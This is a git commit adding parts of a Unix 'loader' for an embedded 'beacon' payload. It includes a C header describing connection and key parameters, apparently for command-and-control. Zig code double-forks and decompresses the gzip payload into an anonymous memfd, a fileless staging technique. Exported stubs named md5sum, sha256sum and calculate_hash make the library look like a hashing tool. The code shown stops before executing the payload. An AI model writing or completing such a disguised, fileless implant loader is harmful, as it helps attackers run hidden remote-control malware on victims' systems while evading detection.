feat: added header file for communicating config

This commit is contained in:
Andrew Rioux
2025-01-21 17:42:16 -05:00
parent 78ac60ce60
commit cd56d57cb3
9 changed files with 210 additions and 22 deletions

10
unix-loader/src/abi.h Normal file
View File

@@ -0,0 +1,10 @@
typedef struct Parameters {
int destination_ip;
int source_ip;
short destination_port;
short pubkey_cert_size;
short privkey_size;
short privkey_cert_size;
char pubkey_cert[1024];
char identifier[64];
} Parameters_t;

View File

@@ -2,8 +2,31 @@ const std = @import("std");
const beacon = @embedFile("beacon");
const Parameters = @cImport({
@cInclude("abi.h");
}).Parameters_t;
fn use_beacon(message: []const u8) !void {
_ = try std.io.getStdOut().write(message);
const pid = std.c.fork();
if (pid == 0) {
if (std.c.fork() == 0) {
const target_fd = try std.posix.memfd_create("", 0);
var reader = std.io.fixedBufferStream(message);
var target_file = std.fs.File{ .handle = target_fd };
try std.compress.gzip.decompress(reader.reader(), target_file.writer());
while (true) {}
std.c.exit(0);
}
std.c.exit(0);
} else {
var status: c_int = 0;
_ = std.c.waitpid(pid, &status, 0);
_ = std.c.kill(pid, std.c.SIG.KILL);
}
}
export fn hash_internals() void {

View File

@@ -1,5 +1,16 @@
extern fn hash_internals() void;
const Parameters = @cImport({
@cInclude("abi.h");
}).Parameters_t;
export fn calculate_hash() void {
hash_internals();
}
export fn md5sum() void {}
export fn sha256sum() void {}
export fn sha384sum() void {}
export fn sha512sum() void {}
export fn sha1sum() void {}
export fn sha2sum() void {}